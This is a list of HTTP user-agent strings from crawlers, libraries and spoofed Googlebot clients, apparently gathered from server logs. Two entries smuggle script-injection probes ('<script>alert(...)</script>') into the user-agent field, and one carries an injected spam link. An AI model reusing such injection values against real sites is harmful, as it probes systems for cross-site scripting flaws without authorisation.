Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 "Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1;)"

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 ichiro/2.0 (http://help.goo.ne.jp/door/crawler.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 "Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1;)"

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 http://www.botsvsbrowsers.com/details/300/index.html

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 (CK-sbopiambot) Firefox/2.0.0.7

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 Googlebot1988 Media-Player/10.0.0.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 MEGAUPLOAD 1.0 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0/1.0 (bot; http://; bot@bot.com)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 googlebot

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot/2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Googlebot/2.1+(+http://www.google.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 <script>alert('XSS Attackable')</script>

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Code: Select all Googlebot/2.X How Google crawls my site

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 googlebot

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 googlebot (Enterprise; C5-CLD3ALX3FUJAS; glearmon@cisco.com)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1+

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.X http://www.MMOwned.com

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1a1pre) Gecko/2008061107 <script>alert(0)</script>

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110904 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1) Gecko/20060111 googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (http://www.voila.com/)

Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)

Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 <a href="http://www.studiodentisticoortuso.it/html/odontoiatria/sbiancamenti-dentali/">denti più bianchi</a>

Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.16) Gecko/20080702 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot Firefox/3.0.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 ( http://www.googlebot.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.google.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.1 (+http://www.google.com/bot.html; Googlebot/2.13; Googlebot/2.12; SaveWealth; .NET CLR 1.1.4322; .NET CLR 1.0

Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.13

Mozilla/5.0 (Windows; U; Windows NT 5.1;fr;rv:1.8.1)VoilaBotCollector BETA 0.1 (http://www.voila.com/)

Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.6) Gecko/20070725 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.2; es-ES; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 googlebot=Google.com

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008052906 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1;MEGAUPLOAD 1.0;Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.1) Gecko/2008070208 Googlebot/2.X

Mozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Mozilla/5.0 (Windows;) NimbleCrawler 1.13 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Mozilla/5.0 (Windows;) NimbleCrawler 1.14 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Mozilla/5.0 (Windows;) NimbleCrawler 1.15 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Mozilla/5.0 (Windows;) NimbleCrawler 2.0.1 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Mozilla/5.0 (Windows;) NimbleCrawler 2.0.2 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Mozilla/5.0 (X11; U; Linux i686 (x86_64); pl-PL; rv:1.9a3pre) Gecko/20070224 Firefox/3.0a3pre (Kubuntu-feisty) (Powered by Virtual_ManPL)

Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.8) Gecko/20071015 KFSW/1.0.0.0.1 ThumbShots-de-bot

Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.8) Gecko/20071015 KFSW/1.0.0.0.4 thumbshot-de-bot

Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008061015 webwalkerbot

Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.1) Gecko/2008072820 webwalkerbot

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank (Spinn3r 2.1); http://spinn3r.com/robot) Gecko/20021130

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank; http://tailrank.com/robot) Gecko/20021130

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Larbin/2.6.3 larbin@unspecified.mail

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 SnapPreviewBot

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Googlebot 2.1

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Googlebot 2.1 (Linux Mint)

Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1

Mozilla/5.0 (Yahoo-Test/4.0 mailto:vertical-crawl-support@yahoo-inc.com)

Mozilla/5.0 (Yahoo-Test/4.0 ysm-keystone-crawl-support@yahoo-inc.com)

Mozilla/5.0 (Yahoo-Test/4.0; mailto:vertical-crawl-support@yahoo-inc.com)

Mozilla/5.0 (Yahoo-Test/4.0; ysm-keystone-crawl-support@yahoo-inc.com)

Mozilla/5.0 9compatible; Googlbot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 compatible (zermelo heritrix/1.12.1 +http://www.powerset.com) [email:crawl@powerset.com,email:paul@page-store.com]

Mozilla/5.0 compatible WebaltBot/1.00 (i686-pc-linux)

Mozilla/5.0 crawl@digigetx.com

Mozilla/5.0 Googlebot/2.1+(+http://www.google.com/bot.html)

Mozilla/5.0(compatible, Googleboy/2.1; +http://www.google.com/bot.html)

Mozilla/5.0(compatible; Googlebot/2.1;+http://www.google.com/bot.html

Mozilla/5.0(compatible; Googlebot/2.1;+www.google.com/bot.html)

Mozilla/5.0(compatible;Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html

Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html)

Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)

Mozilla/5.0+(SnapPreviewBot)+Gecko/20061206+Firefox/1.5.0.9

Mozilla/5.0; Googlebot/2.1; +http://www.google.com/bot.htm)

Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; nnSearch Robot)

Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; RSSMicro.com RSS/Atom Feed Robot)

Mp3Bot/0.1 (http://mp3realm.org/mp3bot/)

MQbot http://metaquerier.cs.uiuc.edu/crawler

MQBot/Nutch-0.8-dev (mqbot@cazoodle.com)

MQBOT/Nutch-0.9-dev (MQBOT Crawler; http://falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu)

MQBOT/Nutch-0.9-dev (MQBOT Nutch Crawler; http://falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu)

MQBOT/Nutch-0.9-dev (MQBOT Nutch Crawler; http://vwbot.cs.uiuc.edu; mqbot@cs.uiuc.edu)
 
MS Search


msnbot

Msnbot 1.0 (msnbot/1.0 (+http://search.msn.com/msnbot.htm); MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; FDM)

msnbot-media/1.0 (+http://search.msn.com/msnbot.htm)

msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)

msnbot-Products/1.0 (+http://search.msn.com/msnbot.htm)

msnbot/0.01 (+http://search.msn.com/msnbot.htm)

MSNBOT/0.1 (http://search.msn.com/msnbot.htm)

msnbot/0.11 ( http://search.msn.com/msnbot.htm)

msnbot/0.11 (+http://search.msn.com/msnbot.htm)

msnbot/0.9 (+http://search.msn.com/msnbot.htm)

msnbot/1.0 ( http://search.msn.com/msnbot.htm)

msnbot/1.0 (+http://search.msn.com/msnbot.htm)

msnbot/1.0+(+http://search.msn.com/msnbot.htm)

msnbot/1.1 ( http://search.msn.com/msnbot.htm)

msnbot/1.1 (+http://search.msn.com/msnbot.htm)

MSNBOT_Mobile MSMOBOT Mozilla/2.0 (compatible; MSIE 4.02; Windows CE; Default)

MSNBOT_Mobile MSMOBOT Mozilla/2.0 (compatible; MSIE 4.02; Windows CE; Default)/1.1 (+http://search.msn.com/msnbot.htm)

MSNPTC/1.0

MSNPTC/1.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)

MSR-ISRCCrawler

MSR-ISRCCrawler/Study of Soft 404 Responses

MSRBOT

MSRBOT (http://research.microsoft.com/research/sv/msrbot)

MSRBOT (http://research.microsoft.com/research/sv/msrbot/

MSRBOT (http://research.microsoft.com/research/sv/msrbot/)

multicrawler (+http://sw.deri.org/2006/04/multicrawler/robots.html)

MVAClient

Mweb crawler (compatible; Mozilla/5.0; MSIE 5.0; FAST FreshCrawler 6

My app 1.0

My WinHTTP Connection

my-heritrix-crawler(+http://mywebsite.com)

MyApp/0.1 libwww-perl/5.76

MyApp/0.1 libwww-perl/5.805

myBot

MyCoupons Coupon Crawler 1.0

MyEngine_20

MyEngine_32

MyEngine_33

myfirsttest/Nutch-0.8.1 (myfirsttest; http://www.science.uva.nl/; xzhang1@science.uva.nl)

NameOfAgent (CMS Spider)

NASA Search 1.0

NaverBot-1.0 (NHN Corp. / +82-31-784-1989 / nhnbot@naver.com)

Nelian Pty Ltd - Spider v2.1 ( http://pcaccessoriesparts.com )

Nelian Pty Ltd - Spider v2.1 ( http://www.pcaccessoriesparts.com )

Nelian Pty Ltd - Spider v3.1 ( http://www.pcaccessoriesparts.com )

nestReader/0.2 (discovery; http://echonest.com/reader.shtml; reader at echonest.com)

NetAnts/1.25

Netintelligence LiveAssessment - http://www.netintelligence.com

Netluchs/Nutch-1.0-dev ( ; http://www.netluchs.de/; _do_not_spam_me___humans_please_use_info_at_netluchs.de_without_the_dash)

NetResearchServer/4.0(loopimprovements.com/robot.html)

NetSongBot/1.0

NetSprint -- 2.0

NetSurf/1.1 (RISC OS; armv4l)

NetSurf/2.0 (RISC OS; armv5l)

NetWhatCrawler/0.06-dev (NetWhatCrawler from NetWhat.com; http://www.netwhat.com; support@netwhat.com)

NewsGator FetchLinks extension/0.2.0 (http://graemef.com)

NewsGatorOnline/2.0 (http://www.newsgator.com; 1 subscribers)

newtelligence dasBlog/1.9.6264.0

NextGenSearchBot 1 (for information visit http://about.zoominfo.com/About/NextGenSearchBot.aspx)

NextGenSearchBot 1 (for information visit http://www.eliyon.com/NextGenSearchBot)

NextGenSearchBot 1 (for information visit http://www.zoominfo.com/About/misc/NextGenSearchBot.aspx)

NextGenSearchBot 1 (for information visit http://www.zoominfo.com/NextGenSearchBot)

NextopiaBOT (+http://www.nextopia.com) distributed crawler client beta v1.1

NG/2.0

NGB/3.0

NGB\/3.0

nicebot

NicheSpider/1.0 (+http://www.freebieads.co.uk)

ninetowns

Nintendo64/1.0 (SuperMarioOS with Cray-II Y-MP Emulation)

NoBot/0.0 (I'm not a bug, I'm a feature)

NoggaNogga (resilient; doublebind-resistant; nice guy)

Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html abuse@mtld.mobi)

Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html find@mtld.mobi)

Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi http://find.mobi/bot.html abuse@mtld.mobi)

Nokia6610/1.0 (3.09) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible;YahooSeeker/M1A1-R2D2; http://help.yahoo.com/help/us/ysearch/crawling/crawling-01.html)

Nokia6680/1.0 ((4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html find@mtld.mobi) )

Nokia6680/1.0 ((4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (for mobile crawler) )

Nokia6682/2.0 (3.01.1) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 (compatible;YahooSeeker/M1A1-R2D2; http://help.yahoo.com/help/us/ysearch/crawling/crawling-

Nokia6682/2.0 (3.01.1) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 (compatible;YahooSeeker/M1A1-R2D2; http://help.yahoo.com/help/us/ysearch/crawling/crawling-0

Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

Nokia6822a/2.0 (4.88) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.6a; +http://www.google.com/bot.html)

notie

noxtrumbot/1.0 (crawler@noxtrum.com)

Noydb/7.04 (Win76; U; SA)

NPBot/3 (NPBot; http://www.nameprotect.com; npbot@nameprotect.com)

nrsbot/5.0(loopimprovements.com/robot.html)

nrsbot/5.0(loopip.com/robot.html)

nrsbot/5.02

NSO_Debugger/2.0

NSplayer/11.0.5721.5145

nsyght.com/Nutch-0.9 (nsyght.com; Nsyght.com)

nsyght.com/Nutch-0.9 (nsyght.com; search.nsyght.com)

nsyght.com/Nutch-1.0-dev (nsyght.com; Nsyght.com)

NUCLEARFOX/3.7(TREX; U; en-US;)

NuSearch Spider (compatible; MSIE 6.0)

Nusearch Spider (http://www.nusearch.com)

Nutch/Nutch-0.8.1

Nutch/Nutch-0.8.1 (Nutch; Nutch; Nutch)

Nutch/Nutch-0.9

Nutch/Nutch-0.9 (Eurobot; http://www.ayell.eu )

nutch/Nutch-0.9 (nutch)

Nutch/Nutch-0.9 (Nutch; http://lucene.apache.org/nutch/)

Nutch/Nutch-0.9 (Nutch; http://nutch; nutch)

nutch/Nutch-1.0-dev (nutch)

Nutch0.8/Nutch-0.9-dev

nutch0.9/Nutch-0.9-dev

NUTCHCRAWLER/Nutch-0.9 (anouar@yatinoo.com)

NutchCVS/0.06-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)

NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)

NutchCVS/0.7 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

NutchCVS/0.7.1 (Nutch running at UW; http://crawlers.cs.washington.edu/; sycrawl@cs.washington.edu)

NutchCVS/0.7.1 (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)

NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; raphael@unterreuth.de)

NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; west@cis.poly.edu)

NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)

NutchCVS/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

NutchCVS/0.8.1 (http://cis.poly.edu/westlab/; west@poly.edu)

nutchCVS/Nutch-0.8.1 (nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

NutchEC2Test/Nutch-0.9-dev (Testing Nutch on Amazon EC2.; http://lucene.apache.org/nutch/bot.html; ec2test at lucene.com)

nutchsearch/Nutch-0.9 (Nutch Search 1.0; herceg_novi at yahoo dot com)

Nutexplore/5.0 (ZIOIS;Fast)

Nutscrape/1.0 (CP/M; 8-bit)

NWSpider 0.9

ObjectsSearch/0.01 (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com; yplus 5.1.02b)

ObjectsSearch/0.0x (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com)

oBot

OCP HRS 1.0

oegp v. 1.3.0

Offline Explorer 1.*

Offline Explorer Enterprise/4.4

ofobot

OmniExplorer_Bot/1.07 (+http://www.omni-explorer.com) Internet Categorizer

OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com)

OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com) Cars Crawler

OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com) Internet Indexer

OmniExplorer_Bot/1.0x ( http://www.omni-explorer.com) Job Crawler

OmniExplorer_Bot/1.10 (+http://www.omni-explorer.com)

OmniExplorer_Bot/1.10 (+http://www.omni-explorer.com) Jobs Crawler

OmniExplorer_Bot/2.47 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/2.93 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.06c (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.06d (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.10 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.10a (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.11a (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.11c (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.20b (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.21 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.23 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.24 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.26b (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.26c (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.28 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.94b (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.95 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.98b (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/3.99 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/4.32 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/5.25 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/5.73 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/5.77e (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/6.10.0 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/6.10.13 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/6.10.15 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/6.10.17 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/6.10.7 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/6.10.9 (+http://www.omni-explorer.com) WorldIndexer

OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer

OmniWeb

OmniWeb/2.7-beta-3 OWF/1.0

Omri David

onCHECK-Robot, http://www.onsearch.de

Onetime ShopFinder Program

OneWorldSearch/1.00.143;MSSQL (http://www.oneworldsearch.com/)

OnlineWebCheck.com (http://onlinewebcheck.com)

OOZBOT

OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; pvvpr at iiit dot ac dot in)

OpenAcoon v4.0.3 (http://www.openacoon.de)

OpenAcoon v4.0.5 (http://www.openacoon.de)

Opendium spider

OpenIntelligenceData/1.1 (+http://www.worldwideweb-x.com/openData.html)

OpenISearch/1.2.1 (+http://www.openisearch.com/faq.html)

OpenISearch/1.3.1 (+http://www.openisearch.com/faq.html)

OpenPlaces/Nutch-1.0-dev (OpenPlaces Content Crawler; http://www.openplaces.com; dnadeau 64th-ascii-char openplaces c o m)

OpenWebSpider# v0.1a (http://www.openwebspider.org/)

Oracle Ultra Search

Orbiter (+http://www.dailyorbit.com/bot.htm)

Orbiter/T-2.0 (+http://www.dailyorbit.com/bot.htm)

OutfoxBot/0.3 (For internet experiments; http://; outfox.agent@gmail.com)

OutfoxBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com)

owsBot/0.2 (owsBot; http://www.oneworldstreet.com; owsBot)

ozelot/2.7.3 (Search engine indexer; http://www.flying-cat.de/ozelot; ozelot@flying-cat.de)

ozzie (question ozzie@cs.stanford.edu)

P3P Client

page_prefetcher

page_verifier (http://www.securecomputing.com/goto/pv)

page_verifier http://www.securecomputing.com/goto/pv

PageBitesHyperBot/600 (http://www.pagebites.com/)

Pagebull http://www.pagebull.com/

Pagebull http://www.pagebull.com/

pangolin/0.1

panscient.com

Particls

Particls/1.0 (compatible; .NET CLR 2.0.50727; http://www.particls.com)

Path 2/LX darxi.com

Path2/LX darxi.com

Pathtraq (+http://pathtraq.com/)

Pathtraq/0.1 Gungho/0.08004

Pathtraq/0.1 Gungho/0.09005

PayPal Web Hosting, Scripts N Tools

PayPal Website Payment Pro, Scripts N Tools

PCbot/3.0

PDFBot crawler@pdfind.com

PEAR HTTP_Request class ( http://pear.php.net/ )

PECL::HTTP/1.6.0 (PHP/5.1.2)

PediaSearch.com Crawler

PeerFactor 404 crawler

Perl Crawler Robot v0.1

Perl interface for libCURL

Perl-Win32::Internet/0.082

permail/H

Pete-Spider Light/1.0

Pete-Spider Light/1.2

Pete-Spider/1.1

PHP Script

PHP version tracker (http://www.nexen.net/phpversion/bot.php)

PHP/4.1.2

PHP/5.2.5

PHP/5.2.6

PhpDelicious v1.5 (http://www.ejeliot.com/pages/php-delicious)

PicselSpider/1.0

Pingdom GIGRIB (http://www.pingdom.com)

Pingdom GIGRIB v1.1 (http://www.pingdom.com)

Pingdom/2.3.4

pipeLiner/0.12 (PipeLine Spider; http://www.pipeline-search.com/webmaster.html)

PlantyNet_WebRobot_V1.9 dhkang@plantynet.com

Pluggd/Nutch-0.9 (Pluggd automated crawler; http://www.pluggd.com; support at pluggd dot com)

Pockey/4.10.2(Win32; GUI; ix86)

polybot 1.0 (http://cis.poly.edu/polybot/)

Pompos/1.3 http://dir.com/pompos.html

Port Huron Labs

PRCrawler/Nutch-0.9 (data mining development project)

PRCrawler/Nutch-0.9 (data mining development project; crawler@projectrialto.com)

PrivacyFinder Cache Bot v1.0

Privoxy 3.0.6

Privoxy/1.0

Program Shareware 1.0.0

prppsoft_research_center (compatible; kurumin/7.0-prppsoft-heritrix/1.12.1; Debian Etch +http://crawler.prppsoft.uni.cc)

psbot/0.1 (+http://www.picsearch.com/bot.html)

psycheclone

puf/0.93.2a (Linux 2.6.15-26-server; i686)

pulseBot (pulse Web Miner)

PycURL

PycURL/7.15.5

PycURL/7.16.4

PyQuery / 0.1

Python-httplib2/$Rev: 235 $

Python-urllib/1.10

Python-urllib/1.15

Python-urllib/1.16

Python-urllib/1.17

Python-urllib/2.1

Python-urllib/2.4

Python-urllib/2.5

pythonic-crawler (suzuki@tkl.iis.u-tokyo.ac.jp)

QEAVis agent/Nutch-0.9 (http://nlp.uned.es/qeavis/)

RAMPyBot - http://www.giveRAMP.com/0.1 (RAMPyBot - http://www.giveRAMP.com; http://www.giveramp.com/bot.html; support@giveRAMP.com)

Rankivabot/3.2 (http://www.rankiva.com; 3.2; vzmxikn)

razorbak

REAP-crawler Nutch/Nutch-1.0-dev (Reap Project; http://reap.cs.cmu.edu/REAP-crawler/; Reap Project)

REBI-Shoveler v0.1

RedBot/redbot-1.0 (Rediff.com Crawler; redbot at rediff dot com)

RegexBuddy

REL Link Checker Lite 1.0

Robotgenius crawler/Nutch-1.0-dev (http://robotgenius.net; misc at robotgenius dot net)

Robozilla/1.0

Rojo 1.0

Rome Client (http://tinyurl.com/64t5n) Ver: 0.9

RPT-HTTPClient/0.3-3E

RSS-Reader/0.2 (R&D project; http://everestbot.vulcan.com/bothelp)

RSS-SPIDER (http://www.rss-spider.com/submit200709.php)

RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html)

RufusBot (Rufus Web Miner; http://www.webaroo.com/rooSiteOwners.html)

RwB's spider for atUKplc. Version 0.0.3ish

sad

SafariBookmarkChecker/1.27 (+http://www.coriolis.ch/)

SafariBookmarkChecker/1.30 (+http://www.coriolis.ch/)

sait/Nutch-0.9 (SAIT Research; http://www.samsung.com)

SandCrawler - Compatibility Testing

SBIder/0.7 (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)

SBIder/0.8-dev (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)

SBIder/Nutch-1.0-dev (http://www.sitesell.com/sbider.html)

SBIder/SBIder-0.8.2-dev (http://www.sitesell.com/sbider.html)

schibstedsokbot (compatible; Mozilla/5.0; MSIE 5.0; FAST FreshCrawler 6; +http://www.schibstedsok.no/bot/)

Schism/1.8 (IknowThePiecesFit; CuzIwatchedThemFallAway)

Schmozilla/v9.14 Platinum

Science Traveller International 1X/1.0

science_crawler_by_informatics.indiana.edu/fil

ScollSpider/2.0 (+http://www.webwobot.com/ScollSpider.php)

ScSpider/0.2

Search Wikia Preview/0.1

searchbot admin@google.com

SearchHub Bot (http://www.insynchro.net)

Searchmee! Spider v0.98a

SearchSight/2.0 (http://SearchSight.com/)

